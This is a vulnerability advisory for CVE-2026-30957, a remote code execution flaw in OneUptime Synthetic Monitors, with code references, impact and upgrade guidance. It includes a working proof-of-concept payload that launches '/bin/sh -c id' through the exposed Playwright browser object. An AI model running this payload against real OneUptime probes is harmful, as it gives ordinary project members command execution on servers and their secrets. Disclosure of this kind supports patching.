CVE-2026-30957: OneUptime Synthetic Monitor RCE via exposed Playwright browser object
Summary
OneUptime Synthetic Monitors allow a low-privileged authenticated project user to execute arbitrary commands on the oneuptime-probe server/container.
The root cause is that untrusted Synthetic Monitor code is executed inside Node's vm while live host-realm Playwright browser and page objects are exposed to it. A malicious user can call Playwright APIs on the injected browser object and cause the probe to spawn an attacker-controlled executable.
This is a server-side remote code execution issue. It does not require a separate vm sandbox escape.
Details
A normal project member can create or edit monitors and monitor tests:
- Monitor access control: https://github.com/OneUptime/oneuptime/blob/707bfd62e721a2845ee05b87cb5d3c611bda2276/Common/Models/DatabaseModels/Monitor.ts#L45-L70 - MonitorTest access control: https://github.com/OneUptime/oneuptime/blob/707bfd62e721a2845ee05b87cb5d3c611bda2276/Common/Models/DatabaseModels/MonitorTest.ts#L27-L52
The dashboard exposes a Playwright code editor for Synthetic Monitors and allows a user to queue a test run:
- Synthetic Monitor editor: https://github.com/OneUptime/oneuptime/blob/707bfd62e721a2845ee05b87cb5d3c611bda2276/App/FeatureSet/Dashboard/src/Components/Form/Monitor/MonitorStep.tsx#L260-L289 - Test Monitor flow: https://github.com/OneUptime/oneuptime/blob/707bfd62e721a2845ee05b87cb5d3c611bda2276/App/FeatureSet/Dashboard/src/Components/Form/Monitor/MonitorTest.tsx#L69-L83
For MonitorType.SyntheticMonitor, attacker-controlled customCode is passed into SyntheticMonitor.execute(...):
- https://github.com/OneUptime/oneuptime/blob/707bfd62e721a2845ee05b87cb5d3c611bda2276/Probe/Utils/Monitors/Monitor.ts#L323-L338
SyntheticMonitor.execute(...) then calls VMRunner.runCodeInNodeVM(...) and injects live Playwright objects into the VM context:
- https://github.com/OneUptime/oneuptime/blob/707bfd62e721a2845ee05b87cb5d3c611bda2276/Probe/Utils/Monitors/MonitorTypes/SyntheticMonitor.ts#L156-L168
Relevant code path:
ts result = await VMRunner.runCodeInNodeVM({ code: options.script, options: { timeout: PROBESYNTHETICMONITORSCRIPTTIMEOUTINMS, args: {}, context: { browser: browserSession.browser, page: browserSession.page, screenSizeType: options.screenSizeType, browserType: options.browserType, }, }, });
VMRunner.runCodeInNodeVM(...) wraps host objects in proxies, but it still forwards normal method calls with the real host this binding. It only blocks a few property names such as constructor, proto, prototype, and mainModule:
- Blocked properties: https://github.com/OneUptime/oneuptime/blob/707bfd62e721a2845ee05b87cb5d3c611bda2276/Common/Server/Utils/VM/VMRunner.ts#L20-L25 - Real host this binding during method calls: https://github.com/OneUptime/oneuptime/blob/707bfd62e721a2845ee05b87cb5d3c611bda2276/Common/Server/Utils/VM/VMRunner.ts#L81-L103 - Additional context injection into the VM: https://github.com/OneUptime/oneuptime/blob/707bfd62e721a2845ee05b87cb5d3c611bda2276/Common/Server/Utils/VM/VMRunner.ts#L388-L395
Because of that, untrusted code can still use legitimate Playwright methods on the injected browser object.
The probe pins Playwright 1.58.2:
- https://github.com/OneUptime/oneuptime/blob/707bfd62e721a2845ee05b87cb5d3c611bda2276/Probe/package-lock.json#L4438-L4459
In that version, Browser.browserType() returns a BrowserType object, and BrowserType.launch() accepts attacker-controlled executablePath, ignoreDefaultArgs, and args. Playwright then passes those values into a child-process spawn path.
As a result, a malicious Synthetic Monitor can do this from inside the sandboxed script:
javascript browser.browserType().launch({ executablePath: "/bin/sh", ignoreDefaultArgs: true, args: ["-c", "id"], });
Even if Playwright later throws because the spawned process is not a real browser, the command has already executed.
This execution path is reachable through both one-shot monitor testing and normal scheduled monitor execution:
- Monitor tests fetched by the probe: https://github.com/OneUptime/oneuptime/blob/707bfd62e721a2845ee05b87cb5d3c611bda2276/Probe/Jobs/Monitor/FetchMonitorTest.ts#L55-L85 - Scheduled monitor execution: https://github.com/OneUptime/oneuptime/blob/707bfd62e721a2845ee05b87cb5d3c611bda2276/Probe/Jobs/Monitor/FetchList.ts#L96-L126
This appears distinct from prior node:vm breakout issues because the exploit does not need to recover process from the VM. The dangerous capability is already exposed by design through the injected Playwright object.
PoC
1. Log in to the dashboard as a regular project member. 2. Go to Monitors -> Create New Monitor. 3. Select Synthetic Monitor. 4. In the Playwright code field, paste:
javascript browser.browserType().launch({ executablePath: "/bin/sh", ignoreDefaultArgs: true, args: [ "-c", "id" ], timeout: 1000, }).catch((err) => { console.log(String(err)); });
return { data: { launched: true } };
5. Select one browser type, for example Chromium. 6. Select one screen type, for example Desktop. 7. Set retry count to 0. 8. Click Test Monitor and choose any probe.
Expected result:
- the monitor execution succeeded and in the Show More Details the command output is shown. <img width="1537" height="220" alt="image" src="https://github.com/user-attachments/assets/4fa5b458-cae9-4ec8-add0-bfc288ee7568" />
Impact This is a server-side Remote Code Execution issue affecting the probe component.
Who is impacted:
- any OneUptime deployment where an attacker can obtain ordinary project membership - environments where the probe has access to internal services, secrets, Kubernetes metadata, database credentials, proxy credentials, or other cluster-local trust relationships
Other sources
OneUptime is a solution for monitoring and managing online services. Prior to 10.0.21, OneUptime Synthetic Monitors allow a low-privileged authenticated project user to execute arbitrary commands on the oneuptime-probe server/container. The root cause is that untrusted Synthetic Monitor code is executed inside Node's vm while live host-realm Playwright browser and page objects are exposed to it. A malicious user can call Playwright APIs on the injected browser object and cause the probe to spawn an attacker-controlled executable. This is a server-side remote code execution issue. It does not require a separate vm sandbox escape. This vulnerability is fixed in 10.0.21.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/@oneuptime/commonto a version that resolves this vulnerability.Fixed in 10.0.21 - Upgrade
Upgrade
OneUptimeto a version that resolves this vulnerability.Fixed in 10.0.21
Event History
Frequently Asked Questions
What is the severity of CVE-2026-30957?
CVE-2026-30957 is considered a critical vulnerability due to its potential to allow arbitrary command execution.
How do I fix CVE-2026-30957?
To mitigate CVE-2026-30957, upgrade the affected package to version 10.0.21 or later.
Who is affected by CVE-2026-30957?
The vulnerability affects low-privileged authenticated project users of OneUptime Synthetic Monitors.
What is the impact of CVE-2026-30957?
CVE-2026-30957 allows unauthorized command execution on the oneuptime-probe server/container, compromising the security of the system.
Is there a workaround for CVE-2026-30957?
Currently, the recommended action for CVE-2026-30957 is to upgrade to a non-vulnerable version, as no direct workaround is provided.